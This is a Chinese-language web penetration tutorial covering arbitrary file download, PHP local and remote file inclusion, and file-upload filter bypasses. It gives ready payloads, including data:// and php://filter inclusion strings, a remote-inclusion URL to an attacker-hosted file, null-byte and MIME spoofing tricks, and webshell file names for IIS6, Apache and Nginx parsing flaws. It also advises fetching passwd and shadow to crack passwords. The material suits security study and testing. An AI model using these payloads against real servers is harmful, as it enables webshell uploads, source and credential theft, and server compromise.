任意下载漏洞
<任意下载漏洞>也叫<任意文件下载漏洞>。许多网站开放下载文件功能,由于下载功能代码对下载文件类型、目录未做限制或限制不当,导致攻击者可下载服务器任意文件。
下载web源码
通过下载web源码我们可以获得数据库配置文件,然后可以通过远程数据库链接工具、在线数据库管理工具等链接获取数据库控制权。之后可以:
1. 拖库、篡改数据库
2. 获取数据库信息而一步攻击
3. 直接数据库提权
其他源代码
可以通过分析源代码寻找漏洞,进行下一步攻击。
服务器敏感文件
下载passwd、shadow、web配置文件、其他软件配置文件等。然后就可以尝试破解密码和高级一点的根据软件的版本来在本地搭个相同的环境进行PWN攻击测试。
任意文件包含漏洞
<任意文件包含漏洞>也叫<文件包含漏洞>。这个漏洞只存在于PHP网站中,是由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行。由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行。文件包含攻击中Web服务器源码里可能存在inlcude()此类文件包含操作函数,可以通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因。
分为本地文件包含和远程文件包含,利用的条件是相关函数内的参数可控,且allow_url_fopen = On。
本地文件包含漏洞的常规利用方法有:发现本地文件包含、寻找上传功能、利用包含漏洞包含解析。
利用include($_GET['file'] . '.php')的原理,方法为:
- %00截断 test.jpg%00 - GPC为OFF
- 超长文件名截断(*nix->4096 win->256) ././././././test.jpg
- 问号 test.jpg?
当网站无上传时,需注意权限:
- 包含日志 (access_log error_log)
- 临时文件 (lfi with phpinfo)
- 包含其他环境变量 (/proc/self/environ)
- php://input
- data://
- php://filter
其中,php://input使用post方式传输我们要执行的php代码
而data://利用条件需要
allow_url_include = On;
php>=5.2.0
其利用方法
file=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=
file=data:;base64,PD9waHBpbmZvKCk7Lyo=
file=data:text/plain,<?php system("uname -a");?>
最后的php://filter可以用来读取源代码,且包含漏洞只能读取<非脚本文件>,脚本文件将被立即解析
我们可以构建如下的语句
http://x.x.x.x/test.php?file=php://filter/read=covert.base64-encode/resource=some.php
之后就会返回some.php源码的base64加密
远程文件包含利用方法:
- 拥有一台远程服务器
- 在服务器上放置一个不可被本服务器上web中间件解析的文件(txt jpg)
- 文件内容中包含攻击代码
- 利用远程包含文件漏洞包含
可构造攻击URL:http://x.x.x.x/test.php?file=http://y.y.y.y/test.jpg
然后在test.jpg放上我们希望服务器执行的代码就可以。
任意文件上传漏洞
文件上传包括了上传头像,上传相册,上传附件,添加新闻图片,自定义主题背景,新闻投稿等等
漏洞分为两种:
代码层:开发者由于对安全意识不足,或者编写代码时对上传文件的合法校验存在缺陷,导致上传漏洞的产生
应用层:Web容器漏洞、CGI、配置不当等等
利用
1.网站的上传拦截只使用JavaScript来校验时,判断绕过JavaScript上传是否可行
1. 由于是JavaScript前端校验,判断上传非法文件那个提示时,有无http包发出
2. 查看HTML代码中是否有相关JavaScript代码
若可进行下去,删除相关的JavaScript代码,或者修改我们的上传文件的后缀为允许上传的文件类型。
2.由于上传文件的合法性校验使用的是黑名单的方式判断上传文件后缀,因为有些黑名单不全,就存在被攻击者绕过导致的上传漏洞,要判断一个黑名单是否可以绕过,我们可以用试错法,如上传一个现实中不存在的后缀名文件(file.hatsune),观察服务器的返回情况,如果服务器上传成功,说明这个服务器用的就是黑名单。
绕过手段:
1.变换为等价的文件后缀名
Asp->Asa or cer or cdx
php->php3 or php4 or php5
jsp->jspx
etc.
2.大小写相互转换
asp->asP
php->pHp
etc.
3.利用一些系统的内置规定:
test.test.
or
test.test_(Windows文件名特性)
4. 0x00截断:利用一些php函数的解析文件后缀名的规律
name=getname(request);
type=gettype(name);
If(type==jpg){
SaveFileToPath(UploadPath.name, name);
}
用gettype()函数<从后往前>判断后缀名
我们上传一个php文件叫test.php,在上传的时候用BurpSuite截包了
改变文件名为:test.php .jpg,其中test.php与.jpg之间是一个空格。
用BurpSuite自带的Hex格式打开:
这里的Hex不是指ASCII编码,而是URL编码,我们找到20的地方(%20是空格的URL编码)
这时候我们就完成了这个0x00截断,服务器因为存在00,所以就会忽略后面的内容,于是我们的文件就绕过了校验上传上去了。
3.只使用了MIME类型检测文件的上传点
MIME(Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准,MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据,按照内容类型排列的MIME类型列表:
类型/子类型 | 扩展名 |
application/envoy | evy |
application/fractals | fif |
application/futuresplash | spl |
application/hta | hta |
application/internet-property-stream | acx |
application/mac-binhex40 | hqx |
application/msword | doc |
application/msword | dot |
有一个代码是这样的
if(($_FILES["file"]["type"] == "image/jpeg")){
do_something();
}else{
echo "Only jpg file can upload";
}
绕过这个上传点的方法:
在上传比如一个php文件的时候,bp截包,将上传流量里面的
...
Content-Type: text/php
...
修改为
...
Content-Type: image/jpeg
...
4.存在解析漏洞的上传点
1. IIS6解析漏洞一
我们可以构造上传文件名为这样的
webshell.asp;test.jpg
因为这时候IIS只会解析到后面的jpg文件类型而没有前面的asp
所以就允许你上传了,但是我们上传的文件里面其实还包含了一个webshell.asp
之后我们的webshell.asp就绕过了上传限制上传到了服务器上了,且这个webshell.asp不会被重命名
(是不是突然有点羡慕千禧年的黑客们,那时候人们安全意识也很弱,加上计算机基础也不是很好,网站基本都是千疮百孔的啊哈哈哈,这种漏洞现在基本不会见到了)
2. IIS6解析漏洞二
比如我们构造上传文件名为
webshell.asp/test.jpg
这个解析漏洞是呢在服务器上可以建立任意名称的文件夹,也就是我们前面的webshell.asp那是一个<文件夹>的名字
然后同时也可以在该文件夹下上传其他文件或创建其他文件夹
3. Apache解析漏洞
首先我们构造一个文件名为
webshell.php.jpg
Apache呢会先从后往前尝试解析,然后解析到了一个jpg
因为这个jpg是Apache默认不解析的文件名,所以Apache会跳过这个jpg继续往前解析,直到解析到了我们的php
这个我就懒得复现截图了,我们就大概说一下利用方法
比如我们一个php文件叫webshell.php
我们点击上传,然后BurpSuite截包,将文件名改为
webshell.php.jpg
OK,上传成功,之后我们在服务器执行
http://x.x.x.x/webshell.php.jpg
这里是假设我们的上传路径就是网站的根目录,如果不是就自行改成其他目录
之后我们的php代码就会被Apache执行了
这个解析漏洞的一个好处就是文件上传后不会对文件名进行重命名
漏洞版本包含
apache 2.0.x <= 2.0.59
apache 2.2.x <= 2.2.17
apache 2.2.2 <= 2.2.8
4. Nginx解析漏洞
首先在本地有个webshell.php文件
之后我们上传,然后将这个上传的php文件名截包,并改为
webshell.jpg%00.php
绕过上传限制
之后
当服务器中设置了cgi.fix_pathinfo = 1的时候
php就会以'/'为分割符从<最后一个文件>开始<向前>找<存在的文件>去执行
然后我们执行(还是假设上传目录在网站根目录)
http://x.x.x.x/webshell.jpg/abc.php
我们上面已经大概说了一下原理
php会以'/'为分隔符取找存在的文件取执行
这里abc.php是我乱写的,故意让服务器找不到这个文件,肯定是不存在的
之后Nginx找不到这个文件,就会去试着去前面执行我们的webshell.jpg
然后我们的的webshell里面写的php代码就被Nginx执行了
漏洞包含的版本
nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37